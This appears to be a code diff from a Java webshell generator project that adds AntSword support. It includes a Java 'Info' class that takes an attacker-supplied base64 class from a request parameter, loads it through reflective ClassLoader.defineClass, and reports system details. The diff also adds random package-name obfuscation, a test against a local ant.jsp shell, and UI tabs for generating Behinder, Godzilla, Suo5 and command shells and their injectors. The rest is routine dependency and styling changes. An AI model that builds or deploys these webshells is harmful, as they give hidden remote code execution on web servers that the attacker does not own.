import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.File;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class Info {
|
||||
public HttpServletRequest request = null;
|
||||
public HttpServletResponse response = null;
|
||||
public String encoder = "base64";
|
||||
public String cs = "UTF8";
|
||||
public String randomPrefix = "2";
|
||||
public String decoderClassdata;
|
||||
|
||||
public Info() {
|
||||
}
|
||||
|
||||
public boolean equals(Object var1) {
|
||||
this.parseObj(var1);
|
||||
StringBuffer var2 = new StringBuffer();
|
||||
String var3 = "2f9d7d";
|
||||
String var4 = "2d5c21ab2c35";
|
||||
String var5 = "j4677eff439969";
|
||||
|
||||
try {
|
||||
this.response.setContentType("text/html");
|
||||
this.request.setCharacterEncoding(this.cs);
|
||||
this.response.setCharacterEncoding(this.cs);
|
||||
this.decoderClassdata = this.decode(this.request.getParameter(var5));
|
||||
var2.append(this.SysInfoCode());
|
||||
} catch (Exception var8) {
|
||||
var2.append("ERROR:// " + var8.toString());
|
||||
}
|
||||
|
||||
try {
|
||||
this.response.getWriter().print(var3 + this.asoutput(var2.toString()) + var4);
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
String SysInfoCode() {
|
||||
String var1 = System.getProperty("user.dir");
|
||||
String var2 = System.getProperty("os.name");
|
||||
String var3 = System.getProperty("user.name");
|
||||
String var4 = this.WwwRootPathCode(var1);
|
||||
return var1 + " ok " + "\t" + var4 + "\t" + var2 + "\t" + var3;
|
||||
}
|
||||
|
||||
String WwwRootPathCode(String var1) {
|
||||
StringBuilder var2 = new StringBuilder();
|
||||
if (!var1.startsWith("/")) {
|
||||
try {
|
||||
File[] var3 = File.listRoots();
|
||||
|
||||
for(File var7 : var3) {
|
||||
var2.append(var7.toString(), 0, 2);
|
||||
}
|
||||
} catch (Exception var8) {
|
||||
var2.append("/");
|
||||
}
|
||||
} else {
|
||||
var2.append("/");
|
||||
}
|
||||
|
||||
return var2.toString();
|
||||
}
|
||||
|
||||
public void parseObj(Object var1) {
|
||||
if (var1.getClass().isArray()) {
|
||||
Object[] var2 = (Object[]) var1;
|
||||
this.request = (HttpServletRequest)var2[0];
|
||||
this.response = (HttpServletResponse)var2[1];
|
||||
} else {
|
||||
try {
|
||||
Class var9 = Class.forName("javax.servlet.jsp.PageContext");
|
||||
this.request = (HttpServletRequest)var9.getDeclaredMethod("getRequest").invoke(var1);
|
||||
this.response = (HttpServletResponse)var9.getDeclaredMethod("getResponse").invoke(var1);
|
||||
} catch (Exception var8) {
|
||||
if (var1 instanceof HttpServletRequest) {
|
||||
this.request = (HttpServletRequest)var1;
|
||||
|
||||
try {
|
||||
Field var3 = this.request.getClass().getDeclaredField("request");
|
||||
var3.setAccessible(true);
|
||||
HttpServletRequest var4 = (HttpServletRequest)var3.get(this.request);
|
||||
Field var5 = var4.getClass().getDeclaredField("response");
|
||||
var5.setAccessible(true);
|
||||
this.response = (HttpServletResponse)var5.get(var4);
|
||||
} catch (Exception var7) {
|
||||
try {
|
||||
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(var1);
|
||||
} catch (Exception var6) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public String asoutput(String var1) {
|
||||
try {
|
||||
byte[] var2 = this.Base64DecodeToByte(this.decoderClassdata);
|
||||
Method var3 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
var3.setAccessible(true);
|
||||
Class var4 = (Class)var3.invoke(this.getClass().getClassLoader(), var2, 0, var2.length);
|
||||
return var4.getConstructor(String.class).newInstance(var1).toString();
|
||||
} catch (Exception var5) {
|
||||
return var1;
|
||||
}
|
||||
}
|
||||
|
||||
String decode(String var1) throws Exception {
|
||||
int var2 = 0;
|
||||
|
||||
try {
|
||||
var2 = Integer.parseInt(this.randomPrefix);
|
||||
var1 = var1.substring(var2);
|
||||
} catch (Exception var4) {
|
||||
var2 = 0;
|
||||
}
|
||||
|
||||
return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
|
||||
}
|
||||
|
||||
public byte[] Base64DecodeToByte(String var1) {
|
||||
Object var2 = null;
|
||||
String var3 = System.getProperty("java.version");
|
||||
|
||||
try {
|
||||
byte[] var7;
|
||||
if (var3.compareTo("1.9") >= 0) {
|
||||
Class var4 = Class.forName("java.util.Base64");
|
||||
Object var5 = var4.getMethod("getDecoder").invoke((Object)null);
|
||||
var7 = (byte[])var5.getClass().getMethod("decode", String.class).invoke(var5, var1);
|
||||
} else {
|
||||
Class var8 = Class.forName("sun.misc.BASE64Decoder");
|
||||
var7 = (byte[])var8.getMethod("decodeBuffer", String.class).invoke(var8.newInstance(), var1);
|
||||
}
|
||||
|
||||
return var7;
|
||||
} catch (Exception var6) {
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.reajason.javaweb.antsword;
|
||||
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class Utils {
|
||||
|
||||
public static String getRandomAlpha(int length) {
|
||||
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
Random random = new Random();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < length; ++i) {
|
||||
int number = random.nextInt(52);
|
||||
sb.append(str.charAt(number));
|
||||
}
|
||||
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static String getRandomClassName(String sourceName) {
|
||||
String[] domainAs = new String[]{"com", "net", "org", "sun"};
|
||||
String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
|
||||
String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
|
||||
String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
|
||||
String className = getRandomAlpha((new Random()).nextInt(7) + 4);
|
||||
className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase();
|
||||
int domainAIndex = (new Random()).nextInt(4);
|
||||
String domainA = domainAs[domainAIndex];
|
||||
int randomSegments = (new Random()).nextInt(3) + 3;
|
||||
if (randomSegments == 3) {
|
||||
return domainA + "." + domainB + "." + className;
|
||||
} else if (randomSegments == 4) {
|
||||
return domainA + "." + domainB + "." + domainC + "." + className;
|
||||
} else {
|
||||
return domainA + "." + domainB + "." + domainC + "." + className;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
package com.reajason.javaweb.antsword;
|
||||
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/18
|
||||
*/
|
||||
class AntSwordManagerTest {
|
||||
|
||||
@Test
|
||||
@Disabled("only for local test")
|
||||
void test() {
|
||||
AntSwordManager antSwordManager = AntSwordManager.builder()
|
||||
.pass("ant")
|
||||
.entrypoint("http://localhost:8082/app/ant.jsp").build();
|
||||
System.out.println(antSwordManager.getInfo());
|
||||
}
|
||||
}
|
||||
Binary file not shown.
+8
-8
@@ -13,10 +13,10 @@
|
||||
},
|
||||
"devDependencies": {
|
||||
"@biomejs/biome": "1.9.4",
|
||||
"@tanstack/router-plugin": "^1.104.1",
|
||||
"@tanstack/router-plugin": "^1.105.0",
|
||||
"@types/node": "^22.13.4",
|
||||
"@types/react": "^19.0.8",
|
||||
"@types/react-dom": "^19.0.3",
|
||||
"@types/react": "^19.0.10",
|
||||
"@types/react-dom": "^19.0.4",
|
||||
"@vitejs/plugin-react": "^4.3.4",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-syntax-highlighter": "^15.5.13",
|
||||
@@ -25,7 +25,7 @@
|
||||
"vite": "^6.1.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"@hookform/resolvers": "^4.0.0",
|
||||
"@hookform/resolvers": "^4.1.0",
|
||||
"@radix-ui/react-alert-dialog": "^1.1.6",
|
||||
"@radix-ui/react-checkbox": "^1.1.4",
|
||||
"@radix-ui/react-dropdown-menu": "^2.1.6",
|
||||
@@ -38,9 +38,9 @@
|
||||
"@radix-ui/react-tabs": "^1.1.3",
|
||||
"@radix-ui/react-tooltip": "^1.1.8",
|
||||
"@tailwindcss/vite": "^4.0.6",
|
||||
"@tanstack/react-query": "^5.66.0",
|
||||
"@tanstack/react-router": "^1.104.1",
|
||||
"@tanstack/router-devtools": "^1.104.3",
|
||||
"@tanstack/react-query": "^5.66.7",
|
||||
"@tanstack/react-router": "^1.105.0",
|
||||
"@tanstack/router-devtools": "^1.105.0",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"i18next": "^24.2.2",
|
||||
@@ -49,7 +49,7 @@
|
||||
"react-copy-to-clipboard": "^5.1.0",
|
||||
"react-dom": "^19.0.0",
|
||||
"react-hook-form": "^7.54.2",
|
||||
"react-i18next": "^15.4.0",
|
||||
"react-i18next": "^15.4.1",
|
||||
"react-syntax-highlighter": "^15.6.1",
|
||||
"sonner": "^1.7.4",
|
||||
"tailwind-merge": "^3.0.1",
|
||||
|
||||
@@ -136,7 +136,7 @@ export function MainConfigCard({
|
||||
name="server"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("mainConfig.server")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center">{t("mainConfig.server")}</FormLabel>
|
||||
<Select
|
||||
onValueChange={(v) => {
|
||||
field.onChange(v);
|
||||
@@ -176,10 +176,10 @@ export function MainConfigCard({
|
||||
control={form.control}
|
||||
name="targetJdkVersion"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex flex-col mt-1">
|
||||
<Label className="flex items-center">
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel className="h-6 flex items-center gap-1">
|
||||
{t("mainConfig.jre")} {t("optional")} <JreTip />
|
||||
</Label>
|
||||
</FormLabel>
|
||||
<Select
|
||||
onValueChange={(v) => {
|
||||
if (Number.parseInt(v) >= 53) {
|
||||
@@ -255,7 +255,7 @@ export function MainConfigCard({
|
||||
<BehinderTabContent form={form} shellTypes={shellTypes} />
|
||||
<GodzillaTabContent form={form} shellTypes={shellTypes} />
|
||||
<CommandTabContent form={form} shellTypes={shellTypes} />
|
||||
<AntSwordTabContent />
|
||||
<AntSwordTabContent form={form} shellTypes={shellTypes} />
|
||||
<Suo5TabContent form={form} shellTypes={shellTypes} />
|
||||
<NeoreGeorgTabContent />
|
||||
</Tabs>
|
||||
@@ -272,7 +272,7 @@ function ShellTypeFormField({ form, shellTypes }: { form: UseFormReturn<FormSche
|
||||
name="shellType"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("mainConfig.shellMountType")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center">{t("mainConfig.shellMountType")}</FormLabel>
|
||||
<Select onValueChange={field.onChange} value={field.value}>
|
||||
<FormControl>
|
||||
<SelectTrigger className="h-8">
|
||||
@@ -306,10 +306,10 @@ function UrlPatternFormField({ form }: { form: UseFormReturn<FormSchema> }) {
|
||||
control={form.control}
|
||||
name="urlPattern"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex flex-col mt-1">
|
||||
<Label className="flex items-center">
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel className="h-6 flex items-center gap-1">
|
||||
{t("mainConfig.urlPattern")} <UrlPatternTip />
|
||||
</Label>
|
||||
</FormLabel>
|
||||
<Input {...field} placeholder={t("placeholders.input")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
@@ -327,7 +327,7 @@ function OptionalClassFormField({ form }: { form: UseFormReturn<FormSchema> }) {
|
||||
name="shellClassName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">
|
||||
{t("mainConfig.shellClassName")} {t("optional")}
|
||||
</FormLabel>
|
||||
<Input id="shellClassName" {...field} placeholder={t("placeholders.input")} className="h-8" />
|
||||
@@ -339,7 +339,7 @@ function OptionalClassFormField({ form }: { form: UseFormReturn<FormSchema> }) {
|
||||
name="injectorClassName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">
|
||||
{t("mainConfig.injectorClassName")} {t("optional")}
|
||||
</FormLabel>
|
||||
<Input id="injectorClassName" {...field} placeholder={t("placeholders.input")} className="h-8" />
|
||||
@@ -366,8 +366,8 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
|
||||
name="behinderPass"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("shellToolConfig.behinderPass")}</FormLabel>
|
||||
<Input {...field} placeholder={t("shellToolConfig.pass")} className="h-8" />
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.behinderPass")}</FormLabel>
|
||||
<Input {...field} placeholder={t("placeholders.input")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
@@ -377,7 +377,7 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
|
||||
name="headerName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("shellToolConfig.headerName")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerName")}</FormLabel>
|
||||
<Input {...field} placeholder={t("shellToolConfig.headerName")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
@@ -387,7 +387,7 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
|
||||
name="headerValue"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("shellToolConfig.headerValue")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerValue")}</FormLabel>
|
||||
<Input {...field} placeholder={t("shellToolConfig.headerValue")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
@@ -418,7 +418,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
|
||||
name="godzillaPass"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("shellToolConfig.pass")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.pass")}</FormLabel>
|
||||
<Input {...field} placeholder={t("shellToolConfig.pass")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
@@ -428,7 +428,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
|
||||
name="godzillaKey"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("shellToolConfig.key")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.key")}</FormLabel>
|
||||
<Input {...field} placeholder={t("shellToolConfig.key")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
@@ -438,7 +438,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
|
||||
name="headerName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("shellToolConfig.headerName")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerName")}</FormLabel>
|
||||
<Input {...field} placeholder={t("shellToolConfig.headerName")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
@@ -448,7 +448,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
|
||||
name="headerValue"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("shellToolConfig.headerValue")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerValue")}</FormLabel>
|
||||
<Input {...field} placeholder={t("shellToolConfig.headerValue")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
@@ -478,7 +478,7 @@ function CommandTabContent({ form, shellTypes }: { form: UseFormReturn<FormSchem
|
||||
name="commandParamName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("shellToolConfig.paramName")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.paramName")}</FormLabel>
|
||||
<FormControl>
|
||||
<Input {...field} placeholder={t("shellToolConfig.paramName")} className="h-8" />
|
||||
</FormControl>
|
||||
@@ -493,17 +493,54 @@ function CommandTabContent({ form, shellTypes }: { form: UseFormReturn<FormSchem
|
||||
);
|
||||
}
|
||||
|
||||
function AntSwordTabContent() {
|
||||
function AntSwordTabContent({ form, shellTypes }: { form: UseFormReturn<FormSchema>; shellTypes: Array<string> }) {
|
||||
const { t } = useTranslation();
|
||||
return (
|
||||
<TabsContent value="AntSword">
|
||||
<Card>
|
||||
<CardContent className="space-y-2 mt-4">
|
||||
<div className="flex items-center justify-center">
|
||||
<span className="text-gray-500">WIP</span>
|
||||
</div>
|
||||
</CardContent>
|
||||
</Card>
|
||||
</TabsContent>
|
||||
<FormProvider {...form}>
|
||||
<TabsContent value="AntSword">
|
||||
<Card>
|
||||
<CardContent className="space-y-2 mt-4">
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
||||
<UrlPatternFormField form={form} />
|
||||
</div>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="antSwordPass"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.antSwordPass")}</FormLabel>
|
||||
<Input {...field} placeholder={t("placeholders.input")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="headerName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerName")}</FormLabel>
|
||||
<Input {...field} placeholder={t("shellToolConfig.headerName")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="headerValue"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerValue")}</FormLabel>
|
||||
<Input {...field} placeholder={t("shellToolConfig.headerValue")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<OptionalClassFormField form={form} />
|
||||
</CardContent>
|
||||
</Card>
|
||||
</TabsContent>
|
||||
</FormProvider>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -524,7 +561,7 @@ function Suo5TabContent({ form, shellTypes }: { form: UseFormReturn<FormSchema>;
|
||||
name="headerName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("shellToolConfig.headerName")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerName")}</FormLabel>
|
||||
<Input {...field} placeholder={t("shellToolConfig.headerName")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
@@ -534,7 +571,7 @@ function Suo5TabContent({ form, shellTypes }: { form: UseFormReturn<FormSchema>;
|
||||
name="headerValue"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>{t("shellToolConfig.headerValue")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerValue")}</FormLabel>
|
||||
<Input {...field} placeholder={t("shellToolConfig.headerValue")} className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
|
||||
@@ -67,7 +67,7 @@ export function PackageConfigCard({
|
||||
name="packingMethod"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-3">
|
||||
<FormLabel>{t("packageConfig.title")}</FormLabel>
|
||||
<FormLabel className="h-6 flex items-center gap-1">{t("packageConfig.title")}</FormLabel>
|
||||
<FormControl>
|
||||
<RadioGroup onValueChange={field.onChange} value={field.value} className="grid grid-cols-3">
|
||||
{options.map(({ name, value }) => (
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
||||
import { ScrollTextIcon } from "lucide-react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
|
||||
export function QuickUsage() {
|
||||
@@ -6,7 +7,10 @@ export function QuickUsage() {
|
||||
return (
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle>{t("quickUsage.title")}</CardTitle>
|
||||
<CardTitle className="text-md flex items-center gap-2">
|
||||
<ScrollTextIcon className="h-5" />
|
||||
<span>{t("quickUsage.title")}</span>
|
||||
</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<ol className="list-decimal list-inside space-y-4 text-sm">
|
||||
|
||||
@@ -20,6 +20,7 @@ import { Separator } from "@/components/ui/separator.tsx";
|
||||
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx";
|
||||
import { downloadBytes } from "@/lib/utils.ts";
|
||||
import {
|
||||
AntSwordShellToolConfig,
|
||||
BehinderShellToolConfig,
|
||||
CommandShellToolConfig,
|
||||
GenerateResult,
|
||||
@@ -27,7 +28,7 @@ import {
|
||||
Suo5ShellToolConfig,
|
||||
} from "@/types/shell.ts";
|
||||
import { TFunction } from "i18next";
|
||||
import { CircleHelpIcon, TriangleAlertIcon } from "lucide-react";
|
||||
import { CircleHelpIcon, TicketCheckIcon, TriangleAlertIcon } from "lucide-react";
|
||||
import { Fragment, useState } from "react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { toast } from "sonner";
|
||||
@@ -143,7 +144,10 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) {
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle className="flex items-center justify-between">
|
||||
{t("generateResult.basicInfo")}
|
||||
<div className="text-md flex items-center gap-2">
|
||||
<TicketCheckIcon className="h-5" />
|
||||
<span>{t("generateResult.basicInfo")}</span>
|
||||
</div>
|
||||
<FeedbackAlert />
|
||||
</CardTitle>
|
||||
</CardHeader>
|
||||
@@ -216,6 +220,20 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) {
|
||||
/>
|
||||
</Fragment>
|
||||
)}
|
||||
{generateResult?.shellConfig.shellTool === "AntSword" && (
|
||||
<Fragment>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.antSwordPass")}
|
||||
text={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
|
||||
value={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
|
||||
/>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.httpHeader")}
|
||||
text={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
|
||||
value={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
|
||||
/>
|
||||
</Fragment>
|
||||
)}
|
||||
<CopyableField
|
||||
label={t("mainConfig.injectorClassName")}
|
||||
value={generateResult?.injectorClassName}
|
||||
@@ -337,89 +355,86 @@ export function ShellResult({
|
||||
generateResult?: GenerateResult;
|
||||
}) {
|
||||
const { t } = useTranslation();
|
||||
if (!generateResult) {
|
||||
return <QuickUsage />;
|
||||
}
|
||||
return (
|
||||
<Fragment>
|
||||
{generateResult ? (
|
||||
<Tabs defaultValue="packResult">
|
||||
<TabsList className="grid w-full grid-cols-3">
|
||||
<TabsTrigger value="packResult">{t("generateResult.title1")}</TabsTrigger>
|
||||
<TabsTrigger value="shell">{t("generateResult.title2")}</TabsTrigger>
|
||||
<TabsTrigger value="injector">{t("generateResult.title3")}</TabsTrigger>
|
||||
</TabsList>
|
||||
<TabsContent value="packResult" className="my-4">
|
||||
<div className="mb-4">
|
||||
<BasicInfo generateResult={generateResult} />
|
||||
</div>
|
||||
{renderResultComponent(packResult, allPackResults, packMethod, t, generateResult)}
|
||||
</TabsContent>
|
||||
<TabsContent value="shell" className="mt-4">
|
||||
<Alert>
|
||||
<TriangleAlertIcon className="h-4 w-4" />
|
||||
<AlertTitle>Warning</AlertTitle>
|
||||
<AlertDescription>{t("tips.decompileTip")}</AlertDescription>
|
||||
</Alert>
|
||||
<div className="gap-4 my-2 flex items-center justify-end">
|
||||
<Button
|
||||
size="sm"
|
||||
variant="outline"
|
||||
className="w-28"
|
||||
type="button"
|
||||
onClick={() => {
|
||||
if (!generateResult?.shellBytesBase64Str) {
|
||||
toast.warning(t("tips.shellBytesEmpty"));
|
||||
return;
|
||||
}
|
||||
downloadBytes(generateResult?.shellBytesBase64Str, generateResult?.shellClassName);
|
||||
}}
|
||||
>
|
||||
{t("download")} Class
|
||||
</Button>
|
||||
</div>
|
||||
<CodeViewer
|
||||
showLineNumbers={false}
|
||||
header={<div className="text-xs">{generateResult?.shellClassName}</div>}
|
||||
wrapLongLines={true}
|
||||
height={600}
|
||||
code={generateResult?.shellBytesBase64Str ?? ""}
|
||||
language="text"
|
||||
/>
|
||||
</TabsContent>
|
||||
<TabsContent value="injector" className="mt-4">
|
||||
<Alert>
|
||||
<TriangleAlertIcon className="h-4 w-4" />
|
||||
<AlertTitle>Warning</AlertTitle>
|
||||
<AlertDescription>{t("tips.decompileTip")}</AlertDescription>
|
||||
</Alert>
|
||||
<div className="gap-4 my-2 flex items-center justify-end">
|
||||
<Button
|
||||
size="sm"
|
||||
className="w-28"
|
||||
variant="outline"
|
||||
type="button"
|
||||
onClick={() => {
|
||||
if (!generateResult?.injectorBytesBase64Str) {
|
||||
toast.warning(t("tips.shellBytesEmpty"));
|
||||
return;
|
||||
}
|
||||
downloadBytes(generateResult?.injectorBytesBase64Str, generateResult?.injectorClassName);
|
||||
}}
|
||||
>
|
||||
{t("download")} Class
|
||||
</Button>
|
||||
</div>
|
||||
<CodeViewer
|
||||
showLineNumbers={false}
|
||||
wrapLongLines={true}
|
||||
header={<div className="text-xs">{generateResult?.injectorClassName}</div>}
|
||||
height={600}
|
||||
code={generateResult?.injectorBytesBase64Str ?? ""}
|
||||
language="text"
|
||||
/>
|
||||
</TabsContent>
|
||||
</Tabs>
|
||||
) : (
|
||||
<QuickUsage />
|
||||
)}
|
||||
</Fragment>
|
||||
<Tabs defaultValue="packResult">
|
||||
<TabsList className="grid w-full grid-cols-3">
|
||||
<TabsTrigger value="packResult">{t("generateResult.title1")}</TabsTrigger>
|
||||
<TabsTrigger value="shell">{t("generateResult.title2")}</TabsTrigger>
|
||||
<TabsTrigger value="injector">{t("generateResult.title3")}</TabsTrigger>
|
||||
</TabsList>
|
||||
<TabsContent value="packResult" className="my-4">
|
||||
<div className="mb-4">
|
||||
<BasicInfo generateResult={generateResult} />
|
||||
</div>
|
||||
{renderResultComponent(packResult, allPackResults, packMethod, t, generateResult)}
|
||||
</TabsContent>
|
||||
<TabsContent value="shell" className="mt-4">
|
||||
<Alert>
|
||||
<TriangleAlertIcon className="h-4 w-4" />
|
||||
<AlertTitle>Warning</AlertTitle>
|
||||
<AlertDescription>{t("tips.decompileTip")}</AlertDescription>
|
||||
</Alert>
|
||||
<div className="gap-4 my-2 flex items-center justify-end">
|
||||
<Button
|
||||
size="sm"
|
||||
variant="outline"
|
||||
className="w-28"
|
||||
type="button"
|
||||
onClick={() => {
|
||||
if (!generateResult?.shellBytesBase64Str) {
|
||||
toast.warning(t("tips.shellBytesEmpty"));
|
||||
return;
|
||||
}
|
||||
downloadBytes(generateResult?.shellBytesBase64Str, generateResult?.shellClassName);
|
||||
}}
|
||||
>
|
||||
{t("download")} Class
|
||||
</Button>
|
||||
</div>
|
||||
<CodeViewer
|
||||
showLineNumbers={false}
|
||||
header={<div className="text-xs">{generateResult?.shellClassName}</div>}
|
||||
wrapLongLines={true}
|
||||
height={600}
|
||||
code={generateResult?.shellBytesBase64Str ?? ""}
|
||||
language="text"
|
||||
/>
|
||||
</TabsContent>
|
||||
<TabsContent value="injector" className="mt-4">
|
||||
<Alert>
|
||||
<TriangleAlertIcon className="h-4 w-4" />
|
||||
<AlertTitle>Warning</AlertTitle>
|
||||
<AlertDescription>{t("tips.decompileTip")}</AlertDescription>
|
||||
</Alert>
|
||||
<div className="gap-4 my-2 flex items-center justify-end">
|
||||
<Button
|
||||
size="sm"
|
||||
className="w-28"
|
||||
variant="outline"
|
||||
type="button"
|
||||
onClick={() => {
|
||||
if (!generateResult?.injectorBytesBase64Str) {
|
||||
toast.warning(t("tips.shellBytesEmpty"));
|
||||
return;
|
||||
}
|
||||
downloadBytes(generateResult?.injectorBytesBase64Str, generateResult?.injectorClassName);
|
||||
}}
|
||||
>
|
||||
{t("download")} Class
|
||||
</Button>
|
||||
</div>
|
||||
<CodeViewer
|
||||
showLineNumbers={false}
|
||||
wrapLongLines={true}
|
||||
header={<div className="text-xs">{generateResult?.injectorClassName}</div>}
|
||||
height={600}
|
||||
code={generateResult?.injectorBytesBase64Str ?? ""}
|
||||
language="text"
|
||||
/>
|
||||
</TabsContent>
|
||||
</Tabs>
|
